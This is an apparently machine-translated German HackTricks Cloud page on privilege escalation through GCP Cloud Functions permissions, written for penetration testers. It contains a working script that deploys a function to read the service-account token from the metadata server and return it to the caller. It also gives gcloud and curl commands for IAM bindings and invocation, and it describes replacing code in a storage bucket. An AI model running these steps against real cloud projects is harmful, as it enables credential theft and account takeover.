GCP - Cloudfunctions Privesc
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
cloudfunctions
Weitere Informationen zu Cloud Functions:
cloudfunctions.functions.create , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs
Ein Angreifer mit diesen Berechtigungen kann eine neue Cloud Function mit beliebigem (bösartigem) Code erstellen und ein Service Account zuweisen. Dann leak das Service Account-Token aus den metadata, um Berechtigungen darauf zu eskalieren.\ Einige Berechtigungen zum Auslösen der Funktion könnten erforderlich sein.
Exploit-Skripte für diese Methode finden Sie hier und hier und die vorgefertigte .zip-Datei finden Sie hier.
cloudfunctions.functions.update , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs
Ein Angreifer mit diesen Berechtigungen kann den Code einer Function ändern und sogar das zugewiesene Service Account ändern, mit dem Ziel, das Token zu exfiltrieren.
Caution
Um cloud functions bereitzustellen benötigen Sie außerdem actAs-Berechtigungen für das default compute service account oder für das Service Account, das zum Erstellen des Images verwendet wird.
Einige zusätzliche Berechtigungen wie die .call-Permission für version 1 cloudfunctions oder die Rolle role/run.invoker, um die Funktion auszulösen, könnten erforderlich sein.
# Create new code
temp_dir=$(mktemp -d)
cat > $temp_dir/main.py <<EOF
import subprocess
def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF
echo "" > $temp_dir/requirements.txt
zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt
# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated
# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>
Caution
Wenn du den Fehler
Permission 'run.services.setIamPolicy' denied on resource...erhältst, liegt das daran, dass du den Parameter--allow-unauthenticatedverwendest und dafür nicht über ausreichende Berechtigungen verfügst.
Das Exploit-Skript für diese Methode ist hier zu finden.
cloudfunctions.functions.sourceCodeSet
Mit dieser Berechtigung kannst du eine signierte URL erhalten, um eine Datei in den Bucket einer Funktion hochzuladen (aber der Code der Funktion wird dadurch nicht geändert, du musst ihn trotzdem aktualisieren)
# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'
Nicht wirklich sicher, wie nützlich allein diese Berechtigung aus der Perspektive eines Angreifers ist, aber gut zu wissen.
cloudfunctions.functions.setIamPolicy , iam.serviceAccounts.actAs
Gib dir eine der vorherigen .update- oder .create-Berechtigungen, um zu eskalieren.
gcloud functions add-iam-policy-binding <NOMBRE_FUNCION> \
--region=<REGION> \
--member="<MIEMBRO>" \
--role="roles/cloudfunctions.invoker"
cloudfunctions.functions.update
Wenn man lediglich die cloudfunctions-Berechtigungen hat, aber nicht iam.serviceAccounts.actAs, kann man die Funktion nicht aktualisieren — DIES IST ALSO KEIN GÜLTIGER PRIVESC.
Funktionen aufrufen
Mit den cloudfunctions.functions.get, cloudfunctions.functions.invoke, run.jobs.run und run.routes.invoke Berechtigungen kann eine Identität Cloud Functions direkt aufrufen. Außerdem muss die Funktion öffentlichen Traffic erlauben oder der Aufrufer im selben Netzwerk wie die Funktion selbst sein.
curl -X POST "https://<FUNCTION_URL>" \
-H "Authorization: bearer $(gcloud auth print-identity-token)" \
-H "Content-Type: application/json" \
-d '{ "name": "Developer" }'
Lesen- und Schreibzugriff auf den bucket
Wenn Sie Lese- und Schreibzugriff auf den bucket haben, können Sie Änderungen am Code überwachen und jedes Mal, wenn eine Aktualisierung im bucket stattfindet, können Sie den neuen Code durch Ihren eigenen ersetzen, sodass die neue Version der Cloud Function mit dem eingespeisten kompromittierten Code ausgeführt wird.
You can check more about the attack in:
Allerdings können Sie dies nicht verwenden, um Drittanbieter-Cloud Functions vorab zu kompromittieren, denn wenn Sie den bucket in Ihrem Konto erstellen und ihm öffentliche Berechtigungen geben, sodass ein externes Projekt darauf schreiben kann, erhalten Sie den folgenden Fehler:
 (1) (1).png)
Caution
Dies könnte jedoch für DoS-Angriffe verwendet werden.
Lesen- und Schreibzugriff auf Artifact Registry
When a Cloud Function is created a new docker image is pushed to the Artifact Registry of the project. I tried to modify the image with a new one, and even delete the current image (and the cache image) and nothing changed, the cloud function continue working. Therefore, maybe it might be possible to abuse a Race Condition attack like with the bucket to change the docker container that will be run but just modifying the stored image isn’t possible to compromise the Cloud Function.
Referenzen
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud

